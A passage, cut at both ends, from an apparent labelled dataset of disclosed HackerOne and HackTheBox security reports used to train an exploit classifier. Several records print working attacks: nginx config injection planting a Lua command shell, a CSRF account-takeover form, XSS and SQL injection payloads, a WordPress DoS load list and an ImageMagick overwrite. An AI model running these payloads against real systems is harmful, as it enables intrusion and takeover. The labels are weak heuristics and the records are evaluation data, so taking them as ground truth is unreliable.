class=\"btn btn-default btn-lg\"\n      name=\"ignore-conflict\" value=\"true\"\n      >No</button>\n  </p>\n</form>\n```\nThe `value` field for `log-in.id` has been automatically populated with the primary email address of the target.\n\n# Vulnerable Code\nThe problematic code can be found in the file [www/migrate.spt:349](https://github.com/liberapay/liberapay.com/blob/1f1a4b605def37aa9bed55586c7425a819c3fcdf/www/migrate.spt#L349).\n```html\n<p class=\"buttons\">\n  <button class=\"btn btn-default btn-lg\"\n    name=\"log-in.id\" value=\"{{ existing_account.email }}\"\n    >{{ _(\"Yes\") }}</button>\n  <button class=\"btn btn-default btn-lg\"\n    name=\"ignore-conflict\" value=\"true\"\n    >{{ _(\"No\") }}</button>\n</p>\n```\nThe website automatically displays the email address of the existing account, despite the current user's lack of authorization to view that information.\n\n# Mitigation:\nTo mitigate this exposure, the value for \"log-in.id\" could instead refer to the ID number of the account being referred to.\n\n## Impact\n\nA malicious attacker could simply identify any user on the site and instantly access their email address from the database to be used elsewhere, regardless of the victim's privacy settings.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "11e5c0a57b91d41af5af", "text": "[Privilege Escalation] Privilege Escalation - \"Analyst\" Role Can View Email Domains of a Company - [GET /voyager/api/voyagerOrganizationDashEmailDomainMappings]\n\n## Summary:\nHey team,\nDuring the security assessment, I came across an endpoint - `GET /voyager/api/voyagerOrganizationDashEmailDomainMappings`, which is vulnerable to **privilege escalation**. A lower privileged user can abuse this to view the list of approved domains for email verification even though it can't be accessed directly from the UI.\n\n## Vulnerable HTTP Request:\n```\nGET /voyager/api/voyagerOrganizationDashEmailDomainMappings?decorationId=com.linkedin.voyager.dash.deco.organization.FullOrganizationEmailDomainMapping-2&company=urn%3Ali%3Afsd_company%3A81541206&count=100&q=organization&start=0 HTTP/2\nHost: www.linkedin.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0\nAccept: application/vnd.linkedin.normalized+json+2.1\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Restli-Protocol-Version: 2.0.0\nDnt: 1\nReferer: https://www.linkedin.com/company/81541206/admin/manage-admins/\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nCookie: REDACTED\nCsrf-Token: REDACTED\n```\n## Steps to Reproduce:\n* Go to https://www.linkedin.com/ and log in to your test account.\n* Go to **\"Me\"** and click on your company under the **\"Manage\"** section.\n\n{F1732479}\n* Go to **\"Admin Tools\"** > **\"Employee Verification\"**\n\n{F1732480}\n* Intercept the vulnerable HTTP request.\n* Change all the values of the cookie parameters & CSRF token to that of a lower privileged user (**\"Analyst\"** role). The response will disclose the approved domain for verification.\n\n{F1732484}\n\n# PoC:\n* Have a look at the video here:\n\n{F1732486}\n\n## Impact\n\nA lower privileged user can abuse this to view the list of approved domains for email verification even though it can't be accessed directly from the UI.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2b842b1627c8a4cfb9b3", "text": "[Improper Input Validation] Bypass parsing of transaction data, users on the phishing site will transfer/approve  ERC20 tokens without being alerted\n\n## Summary:\nThere are still a lot of valuable erc20 tokens compiled with solc < 0.5.0 on the eth mainnet. The methods compiled with Solc below 0.5.0 will not check if the length of the input calldata matches the params types. It will load the calldata as long as the params types need, regardless of the actual input length. And the insufficient parts will be read as byte(00). \n\nMetamask can't parse these unusual length transaction data like normal. For example, delete the last byte of the input data:\n\nA normal transfer call data:\n```\nsighash ->          0xa9059cbb\naddress to ->       000000000000000000000000C588e338FdBB2CC523a1177f3D18e87FF5A16a6b\nuint256 value ->    0000000000000000000000000000000000000000000000000000000000989700  ->  10000128\n```\nEvil call data:\n```\nsighash ->          0xa9059cbb\naddress to ->       000000000000000000000000C588e338FdBB2CC523a1177f3D18e87FF5A16a6b\nuint256 value ->    00000000000000000000000000000000000000000000000000000000009897  \n```\n\nWhen users connect to a phishing site, attack can trigger a token transfer or approve transaction without alerting users to the token amount. \n\n## Steps To Reproduce:\n\nI fork the metamask test dapp repo as a exp demo. {F1840812}\n\n1. cd in the dist, and setup a http server, for example run `static-server . -z --port 9011`.\n2. open in the browser and connect with metamask ext at the Rinkeby network.\n3. Click the button `Create Token` will deploy a erc20 token with compiler solc 0.4.26. \ncontract source code: {F1840809}\n\n{F1840801}\n\n4. After contract deploying, click `Transfer Tokens`, metamask will show its a normal contract call without showing send to address, send amount and token symbol.\n\n{F1840802}\n\ntransfer send data hex:\n\n{F1840803}\n\nTransfer event log:\n\n{F1840800}\n\n5. Click `Approve Tokens`, lack of prompt like transfer.\n\n{F1840799}\n\n## Impact\n\nThe attacker can induce the victims to send/approve any number of tokens without knowing it.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3a74c9717274a687ccbf", "text": "[Information Disclosure] Possibility of Deface through translation tool - www.mozilla.com\n\nHello team, how are you?\n\nI hope you are well.\n\nI am reporting the vulnerability as this is not a generic bug. And since the vulnerability has already been identified, I thought it important to let the Mozilla Team know.\nAs it says in the scope of the program, if a Mozilla site uses the third party application, the bug could be reported. So in this bug I preferred to report.\n\n# Disclosure of Secrets for a Publicly Accessible Asset\n\n## Overview of the Vulnerability\n\nIn the midst of a search, I found a credential of a third-party associated with Mozilla leaked on the internet. This credential gives access to [https://dashboard.smartling.com/](https://dashboard.smartling.com/).\nAlthough the application is an external tool, this application is responsible for managing all translations of the Mozilla website and other *.Mozilla.com applications.\nIt manages jobs for translations, contains internal Mozilla documents, and has a tool to change any translation performed.\nThe account associated with this credential has access to some Mozilla projects.\n\n```\nAPI Tests\nApp Store Content\nBlog Posts\nEmails\nFiles\nIn-app messages (push notifications, etc.)\nMozilla.org Site\nSL Test Project\nSUMO Articles\nSurveys\n```\n\n# PoC\n\n* Jobs\n\n{F2474698}\n\n* Issues\n\n███████\n\n███████\n\n█████\n\n████\n\n* Translating jobs\n\n███████\n\n* Editing\n\n███████\n\n* Files\n\n██████████\n\n█████\n\n█████████\n\nThese leaks can be found on sites like [https://cyberintelligence.house](https://cyberintelligence.house), [https://dehashed.com/](https://dehashed.com/), and [https://intelx.io/](https://intelx.io/).\nAll the valid data I found are those inserted in the report.\n\n**Steps to Reproduce:**\n1. Use the following credentials to login to the application:\n\n```\nemail: ████████\npassword: ████\n```\n\n\n**Note:**\nI did not make any changes to the accessed application, and I did not copy any information. All accesses shown are for demonstrating proof of concept and impact only.\n\nIt is strongly advised that all the disclosed passwords be changed immediately, and an investigation be undertaken to determine how this leak occurred to prevent future occurrences.\n\nIf you need my IP, it is: ██████\n\nBest regards,\nAstrounder\n\n## Impact\n\nA malicious agent with access to this application can change translations of www.mozilla.com, create translation jobs, gain access to internal Mozilla documents, and other related access.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9fcd5acb74d21813db07", "text": "There are various security settings on a DNS server. Among other things, you can specify whether a zone transfer should be allowed for all servers or only for certain servers (allow-transfer). If a zone transfer is allowed, you can transfer the zone with “dig axfr”. If the zone transfer is not allowed, you have to bruteforce the zone. Hint: Start with the smallest list.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "79d4f2aacd17e603a08a", "text": "[Code Injection] RCE  on ingress-nginx-controller via Ingress spec.rules.http.paths.path field\n\nReport Submission Form\n\n## Summary:\n\nA user with ingress create/update privilege may inject config into `nginx.conf` with `path`.\nConfig the log_format and access_log to write arbitrary file.\nInclude the file we created to bypass `path` sanitizer to RCE.\n\n## Kubernetes Version:\n\n```\nserverVersion:\n  buildDate: \"2022-03-06T21:32:53Z\"\n  compiler: gc\n  gitCommit: e6c093d87ea4cbb530a7b2ae91e54c0842d8308a\n  gitTreeState: clean\n  gitVersion: v1.23.4\n  goVersion: go1.17.7\n  major: \"1\"\n  minor: \"23\"\n  platform: linux/amd64\n```\n\n## Component Version:\n\n```\n-------------------------------------------------------------------------------\nNGINX Ingress controller\n  Release:       v1.2.1\n  Build:         08848d69e0c83992c89da18e70ea708752f21d7a\n  Repository:    https://github.com/kubernetes/ingress-nginx\n  nginx version: nginx/1.19.10\n\n-------------------------------------------------------------------------------\n```\n\n## Steps To Reproduce:\n\n  1. Create a kind cluster config\n\nlab.yaml\n```yaml\nkind: Cluster\nname: lab\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n# the control plane node config\n- role: control-plane\n  kubeadmConfigPatches:\n  - |\n    kind: InitConfiguration\n    nodeRegistration:\n      kubeletExtraArgs:\n        node-labels: \"ingress-ready=true\"\n  extraPortMappings:\n  - containerPort: 80\n    hostPort: 80\n    protocol: TCP\n  - containerPort: 443\n    hostPort: 443\n    protocol: TCP\n# the three workers\n- role: worker\n- role: worker\n- role: worker\n```\n\n  2. Create a testing cluster with the previous config\n\n```bash\nkind create cluster --config lab.yaml\n```\n\n  3. Install nginx-ingress-controller\n\n```bash\nkubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml\n```\n\n  4. Create a the first malicious ingress\n\n**This ingress will allow attacker to write arbitrary content to arbitrary file.**\n(note that the service `not-exist-service` does not need to exist)\n\nwrite_ingress.yaml\n```yaml\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: webexp\nspec:\n  rules:\n    - host: \"example.com\"\n      http:\n        paths:\n          - path: \"/x/ {\\n\n            }\\n\n          }\\n\n          log_format exploit escape=none $http_x_ginoah;\\n\n          server {\\n\n            server_name x.x;\\n\n            listen 80;\\n\n            listen [::]:80;\\n\n            location /z/ {\\n\n                access_log /tmp/luashell exploit;\\n\n            }\\n\n            location /x/ {\\n\n          #\"\n            pathType: Exact\n            backend:\n              service:\n                name: not-exist-service\n                port:\n                  number: 8080\n```\n\nApply the first malicious ingress config\n```bash\nkubectl apply -f write_ingress.yaml\n```\n\n  5. Write a malicious lua config to `/tmp/luashell`\n\nNote that in other cluster config, the `localhost` may need to change to ingress-controller's ip.\n```bash\ncurl localhost/z/ -H \"host: x.x\" -H 'x-ginoah: content_by_lua_block {ngx.req.read_body();local post_args = ngx.req.get_post_args();local cmd = post_args[\"cmd\"];if cmd then f_ret = io.popen(cmd);local ret = f_ret:read(\"*a\");ngx.say(string.format(\"%s\", ret));end;}'\n```\n\n  6. Create a the second malicious ingress\n\n**This ingress will include the malicious lua config, which allow attack to execute arbitrary command.**\n\nwebshell_ingress.yaml\n```yaml\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: webexp\nspec:\n  rules:\n    - host: \"example.com\"\n      http:\n        paths:\n          - path: \"/x/ {\\n\n            }\\n\n          }\\n\n          log_format exploit escape=none $http_x_ginoah;\\n\n          server {\\n\n            server_name x.x;\\n\n            listen 80;\\n\n            listen [::]:80;\\n\n            location /z/ {\\n\n                include /tmp/luashell;\\n\n            }\\n\n            location /x/ {\\n\n          #\"\n            pathType: Exact\n            backend:\n              service:\n                name: not-exist-service\n                port:\n                  number: 8080\n```\n\n", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b66f4bda01fd0f9f58dc", "text": "When u complete the first skills, the website brute forcing u get a welcome page saying welcome harry potter and what his password requirements are. The seconds skills assessment follows on from that.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dda1074e689253bdb7c1", "text": "[Uncontrolled Resource Consumption] CVE-2018-6389 exploitation - using scripts loader\n\nHi Fastly Team !\n\nUnauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files (from wp-includes/script-loader.php) to construct a series of requests to load every file many times.\nThe vulnerability is registered as CVE-2018-6389.\nWordPress allows users to load multiple JS files and CSS files through load-scripts.php files at once. However, the number and size of files are not restricted in the process of loading JS files, attackers can use this function to deplete server resources and launch denial of service attacks.\n\n**References**\n\nThe vulnerability is registered as https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389 \nhttps://hackerone.com/reports/925425\nhttps://hackerone.com/reports/335177\nhttps://hackerone.com/reports/753491\n\n**Platform(s) Affected: [website]** \n```http\nwww.signalsciences.com/wp-admin/load-scripts.php?load=\n```\n**Steps To Reproduce:**\n\nOpen Vulnerability url - open directory /wp-admin/load-scripts.php?load=\nAdd parameter-vulnerable in request header\nIn request header using GET-Method\n\n**Payloads Vulnerabilities**\n```\neutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter\n```\n{F2237583}\n\n## Impact\n\nAttackers can use this vulnerable function to deplete server resources and launch denial of service attacks.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2018-6389"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6e2f337ddc6c85e151b0", "text": "[Unknown] [Python]: JWT security-related queries\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d20622a7a024abd0df5b", "text": "[SQL Injection] SQL Injection in CVE Discovery Search\n\n**Summary:**\nUnsanitized user-controlled inputs in the CVE Discovery Search allow for SQL injection.\n\n**Description:**\nSearch terms are split on whitespace but no additional sanitization is applied, allowing arbitrary SQL statements, such as a blind or timing-based attack. \n\n### Steps To Reproduce\n\n1. Visit https://hackerone.com/intelligence/cve_discovery\n2.  Enter a search term that normally returns results, plus an injection payload such as /**/AND/**/'1%'='1 and confirm that the results are still returned\n3. Change the payload to /**/AND/**/'1%'='0 and confirm that no results are returned\n\n### Optional: Your Environment (Browser version, Device, etc)\n\n * Chrome\n\n### Optional: Supporting Material/References (Screenshots)\n{F2211684}\n{F2211685}\n\n## Impact\n\nDisclosure of  data in Analytics Database, including report, team, and asset data", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f572c07d34d379bc4c3d", "text": "[Improper Restriction of Authentication Attempts] Email Verification Bypass by bruteforcing when setting up 2FA\n\n## Summary:\nHello team, I hope you are fine and doing well\n\nwhen a user set ups his 2 Factor Authentication in his account  and verify his email ,i was able to bruteforce the email verification process . \n\nThe confirmationCode is used for authentication of user's email and it can be brute forced. The code is only 6 digits long ,so it will not take much time to crack . (https://cloudnine.com/wp-content/uploads/2020/02/CrackPassword2.png)\n\nAfter the victim's email confirmation code gets verified , the user can then set up his personal phone to victim's email and the victim will never be able to sign inside his account as he does not get the otp received in the attakers phone.(due to 2 fa)\n\n## Steps To Reproduce:\n\n  1. Request a confirmationCode in your email , enter any code\n  2. Send this request to burpsuite intruder , and bruteforce the confirmationCode with any number of requests\n  3. Out of all the response , one response will have a length around 373 (only response whose length is lesser than others), thus proving that was the correct confirmation code.\n\n*Attackers Scenario*:\n\nAttacker creates a account using victim's email ABC@gmail.com , Now attacker setups the 2FA  using brute force . Victim wants to join evernote , so he resets his password but he is unable to join since he does not have the 2FA codes . Thus he user is permanently unable to access evernote . It is a pre account takeover .\n\n## Impact\n\nThe victim who wants to log inside or use forget password to recover his/her account in evernote will be locked out forever. Attacker did a pre account takeover.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "376773f102cb33915902", "text": "[Cross-Site Request Forgery (CSRF)] CSRF - Modify User Settings with one click - Account TakeOver\n\n**Target Url**\nhttps://█████\n\n**Summary:**\nThis CSRF is sensitive, similar to the old one #799855 , here attacker can change user name, email, and password with just one click from user.\nI think its severity should be greater than Medium (High) since it doesn't require any user interaction but only just being authenticated to the target url.\n\n## Step-by-step Reproduction Instructions\n\n1. Login to your account.\n2. To generate the html code: You can click on save button in edit Profile section and intercept the request -> Engagement Tools -> Generate CSRF PoC.\n3. Copy and paste the generated code to html file \n```\n<html>\n  <body>\n    <form action=\"https://███\" method=\"POST\" enctype=\"multipart/form-data\">\n      <input type=\"hidden\" name=\"action\" value=\"save&#95;info\" />\n      <input type=\"hidden\" name=\"password&#91;original&#93;\" value=\"█████████\" />\n      <input type=\"hidden\" name=\"password&#91;confirmed&#93;\" value=\"██████████\" />\n      <input type=\"hidden\" name=\"email&#91;original&#93;\" value=\"███████\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>\n```\nOpen the file in browser, click the button and the profile info will be changed successfully.\n\n## Suggested Mitigation/Remediation Actions\nAdd a csrf-token in the header or in an hidden input to check if the user that is doing this action authorized or not.\n\n## Impact\n\nThis action is critical and sensitive. Attacker can upload this file to a url. Sends it to the victims. And when the authenticated victims navigate to the url their accounts details (username, email, password) will change.\nAttacker will undergo successful Account Takeover.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "681fe6867a0334c26820", "text": "[Code Injection] Remote Code Execution on ownCloud instances with ImageMagick installed\n\nIt is possible to execute code on ownCloud instances which have ImageMagick installed. This is due to the usage of ImageMagick for preview generation for some file types. (anything using [`OC\\Preview\\Bitmap`](https://github.com/owncloud/core/blob/83f600f8b89b62d52248dfdbc7046567be024b67/lib/private/Preview/Bitmap.php#L84-L92))\n\nThe prerequisite for exploitation seem to be:\n\n- ImageMagick is installed (e.g. as [described in the ownCloud documentation](https://doc.owncloud.com/server/10.10/admin_manual/installation/manual_installation/manual_imagick7.html))\n- The attacker knows the file path of a file that they uploaded (e.g. `/mnt/data/files/`)\n- The attacker is able to upload files to the system (e.g. by using [File Drop Folders](https://owncloud.com/features/file-drop-folders/) or having an account)\n\nTo reproduce we have provided the following files:\n\n- F2127559\n```\nFROM owncloud/server:10.11\nRUN apt-get update && apt-get install -y imagemagick\n```\n\n- F2127558\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n```\n\n- F2127557\n```\n<svg width=\"1000\" height=\"1000\" \nxmlns:xlink=\"http://www.w3.org/1999/xlink\">\nxmlns=\"http://www.w3.org/2000/svg\">       \n<image xlink:href=\"msl:/mnt/data/files/admin/files/exploit.msl\" height=\"500\" width=\"500\"/>\n</svg>\n```\n\nDownload these files and then perform the following steps:\n\n- Build the docker image\n   - `docker build . -t owncloud-imagemagick`\n- Start the docker image\n   - `docker run --rm --name oc-eval -d -p8080:8080 owncloud-imagemagick:latest`\n- Open the ownCloud instance at localhost:8080 and login using the username “admin” and the password “admin”.\n   - Upload the file exploit.msl\n   - Upload the file image.rgb\n- Reload the page, at this point you will be served the new rewritten index.php that will also perform the phpinfo() command. (you can change which file should be overwritten and what PHP code will be executed inside exploit.msl)\n\n{F2127565}\n\n## Impact\n\nAttackers that are able to upload files to a ownCloud instance with ImageMagick installed can execute arbitrary code on the system.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a2999e9311c899957e36", "text": "For anyone else who may be stuck troubleshooting. Here are some options to try, I was stuck too. Read through all 3, you may have missed one. A (yes I had to append one haha). If you put in the ip address into the browser and it wont let you see the unika.htb, you need to resolv the /etc/hosts file for the DNS server because the server is a server running HTB VM boxes, and they all share the same outgoing IP, so the domain name doesn’t know what ip to attach to. go into > cd /etc/hosts and add the ‘IPADDRESS (tab space) unika.htb’, aparently you will have to do this over and over for htb boxes when its a web server to view the page for more enumeration…I just wanted to use the word enumeration to sound smart. 1 Make sure the interface you use when you start Responder is the interface that is connected to the HTB box. For me it was openvpn, so tun0. 2 Also make sure you are connected to the HTB box in the same environment you are running Responder, I was using tools in my Kali VM, but running the openvpn connection on my mac, so couldn’t read the traffic. 3 Once responder is up and running properly ‘python3 Responder.py -I tun0’, then make sure when you enter the web browser address to add smb payload ‘ http://unika.htb/?page=//ipaddress/whatever ’, the IPADDRESS is NOT the Responder HTB server you used to nmap earlier, its the ipaddress connected to our openvpn connection!. You can check this with ifconfig in kali or linux, and see what tun0 ip is or JUST GO into the running responder listening and look at the responder IP address after the responder NIC line of code…make sure you use that in the web address attack with page= :). Hope this helps.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "43932b5133fef524db0b", "text": "What I did is after each change happen in rdx i coppied it and combine them and then used loader.py and put the hex values combined without the 0x and it worked.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4f46d14a7d896713792e", "text": "[Information Disclosure] Disclose STUFF member name and make actions.\n\nHello Shopify Security Team!\n\n Bug Summary:\n=============\n\nBased on the report #968165, this also can retrieve the STUFF member name and can send messages using his name.\n\n Reproduction steps:\n=============\n  - install shopify chat applications.\n\nStart Exploit #1 : \n=============\n+ Go to targeted store : \n+ Start a chat using the app with the store support.\n+ Click on _I need an update on my order_.\n+ fill out the Order ID and Email. ( fill the info randomly if you want to), the respond comes with message \"in order to provide you with ....\".\n+  I intercept the the post request, and inject changes in the request, \n+ In this exploit allowed the attacker to send messages like a team member (bot)\n\n{F965084}\n\nExample : i changed text element  to \" Hello customer hahaha \"\n\nResult : \n========\n\npoc from shopify ping application ( STUFF side )\n\n{F965081}\n\n\n Start Exploit #2 : \n=============\n+ Go to targeted store : \n+ Start a chat using the app with the store support.\n+ As soon as you get the answer.\n+ I intercept the message request, i found the STUFF member name and ID.\n\n{F965077}\n\n{F965078}\n\n## Impact\n\nCan retrive STUFF info,  not allowed !", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "898e3d3e0ba6a0facca8", "text": "[Cross-site Scripting (XSS) - Reflected] xss reflected on imgur.com\n\nSteps to reproduce : \n- i log in to my account and navigate to see other profile\n- i intercept the request then click Give Emerald\n\n{F1115658}\n\nRequest look like : \n```\nPOST /account/v1/gifting/purchase?client_id=546c25a59c58ad7 HTTP/1.1\nHost: api.imgur.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://imgur.com/user/hermawanferdi\nContent-Type: application/json\nOrigin: https://imgur.com\nContent-Length: 311\nConnection: close\nCookie: postpagebeta=1; amplitude_id_f1fc2abcb6d136bd4ef338e7fc0b9d05imgur.com=eyJkZXZpY2VJZCI6ImM5YzdiYTIxLTAzMjgtNGJkZi05ZGQ2LTE4NDFmZTY2ZGI3Y1IiLCJ1c2VySWQiOiIxMTI1OTYxMzUiLCJvcHRPdXQiOmZhbHNlLCJzZXNzaW9uSWQiOjE2MDc5MjQxNTE0MDcsImxhc3RFdmVudFRpbWUiOjE2MDc5MjQ5NzA1ODQsImV2ZW50SWQiOjIwLCJpZGVudGlmeUlkIjozNiwic2VxdWVuY2VOdW1iZXIiOjU2fQ==; is_emerald=0; __qca=P0-164562980-1607924155407; is_authed=1; IMGURSESSION=6bc49554ae5b60f78f6928698819d0aa; SESSIONDATA=%7B%22sessionCount%22%3A1%2C%22sessionTime%22%3A1607924534647%7D; IMGURUIDJAFO=98a32f615768bd72bcfd89f450ea3f8c7a8b83db9647ade587ead48ace80048a; G_ENABLED_IDPS=google; authautologin=b63b9adee68e2e6ff10c0524995762d1%7EhtH5HkdxlstYng81Zq26XEEq7fv7IRra; accesstoken=095cd3db32693c0127c479dfda1fd563c776bdcd; _nc=1; postpagebetalogged=1; frontpagebetav2=1; pp=4807269994624293; fpb-roll=28.099570399611384; __asc=5812397c1765fc71d7f51cf98df; __auc=5812397c1765fc71d7f51cf98df; _ga=GA1.2.509004379.1607924653; _gid=GA1.2.206575419.1607924653; _fbp=fb.1.1607924654910.554323515\n\n{\"gifter_id\":112596135,\"recipient_id\":136516779,\"amount\":1,\"redirect_url\":\"https://imgur.com/emerald/give-emerald?username=hermawanferdi&redirect=https://imgur.com/user/hermawanferdi\",\"source\":\"User profiler\",\"source_url\":\"https://imgur.com/user/hermawanferdi\",\"anonymous\":true,\"post_id\":null,\"comment_id\":null}\n```\n\n- i notice \"redirect_url\":\"https://imgur.com/emerald/give-emerald?username=hermawanferdi&redirect=https://imgur.com/user/hermawanferdi\"\n- i copy the url and change the redirect parameter\n- i change the redirect parameter with payload xss \"javascript:alert(document.cookie)\"\n- i open the url on browser\n- xss alert\n\n{F1115659}\n\n## Impact\n\nreflected xss / xss attack", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7c07a90ca8fd611351d1", "text": "[Unknown] no rate limit in forgot password session\n\nA little bit about Rate Limit:\nA rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache.\nIn case a client made too many requests within a given timeframe, HTTP-Servers can respond with status code 429: Too Many Requests.\n## Description:-\nI have identified that when Forgetting Password for account , the request has no rate limit which then can be used to loop through one request. Which can be annoying to the root users sending mass password to one email\n\nSteps To Reproduce The Issue\n\nsetp1 - clik this link  =    https://www.yelp.com/login?return_url=https://www.yelp.com/seeyousoon?fsid=iY6PnT2UYrAnv0ASZEs3oQ\n\nStep 2- Intercept This Request In Burp And Forward Till You Found Your Number In Request Like\n\nPOST 